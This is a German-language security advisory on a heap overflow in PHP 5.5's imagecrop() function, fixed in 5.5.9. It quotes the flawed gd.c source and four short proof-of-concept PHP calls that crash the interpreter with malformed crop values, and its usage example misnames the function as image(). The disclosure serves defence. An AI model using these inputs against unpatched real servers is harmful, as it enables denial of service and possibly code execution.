Eine Sicherheitslücke in PHP hat zur Folge, dass ein entfernter Angreifer Befehle mit den Rechten des Web-Dienstes ausführen kann.
Ursache ist ein Heap-Overflow-Fehler in der Funktion “imagecrop()” in der Quelltextdatei “ext/gd/gd.c-Datei”. In PHP wendet man diese Funktion wie folgt an, um Bilddateien zu bearbeiten:
$dimensions = array("x" => 10, "y" => 10, "width" => 50, "height" => 50);
$new_image = image($image, $dimensions);
In der Implementation der Funktion selbst werden allerdings die übergebenen Parameter nicht genau überprüft:
gdRect rect;
...
if (zend_hash_find(HASH_OF(z_rect), "x", sizeof("x"), (void **)&tmp) != FAILURE) { rect.x = Z_LVAL_PP(tmp);
} else {
...
Hier zum Beispiel überprüft der Code nicht den Typ der Variablen “tmp”, bevor er diese weiterverarbeitet. Die daraus abgeleitete “rect”-Variable wird dann im weiteren Code verwendet, um das Bild zu bearbeiten:
im_crop = gdImageCrop(im, &rect);
In der so aufgerufenen Funktion werden die übergebenen Bilddimensionen dann
weiter verwendet:
if (src->trueColor) { dst = gdImageCreateTrueColor(crop->width, crop->height); gdImageSaveAlpha(dst, 1);
} else { dst = gdImageCreate(crop->width, crop->height); gdImagePaletteCopy(dst, src);
}
dst->transparent = src->transparent;
Im Weiteren können Overflows im Code auftreten, falls ein Angreifer die übergebene Breite und Höhe entsprechend wählt.
Es wurden insgesamt vier Proof-of-Concept Code-Fragmente veröffentlicht, die die Schwachstelle auf unterschiedliche Weise demonstrieren:
<? $img = imagecreatetruecolor(10, 10); $img = imagecrop($img, array("x" => "a", "y" => 0, "width" => 10, "height" => 10));
<? $img = imagecreatetruecolor(10, 10); $img = imagecrop($img, array("x" => 0, "y" => 0, "width" => -1, "height" => 10));
<? $img = imagecreatetruecolor(10, 10); $img = imagecrop($img, array("x" => -20, "y" => -20, "width" => 10, "height" => 10));
<? $img = imagecreatetruecolor(10, 10); $img = imagecrop($img, array("x" => 0x7fffff00, "y" => 0, "width" => 10, "height" => 10));
Alle diese Codestücke führen zum Absturz der Anwendung. Mit geschickter konstruiertem Code lassen sich auch Befehle ausführen.
Betroffen sind die PHP-Versionen 5.5.0 bis 5.5.8. Version 5.5.9 behebt das Problem.

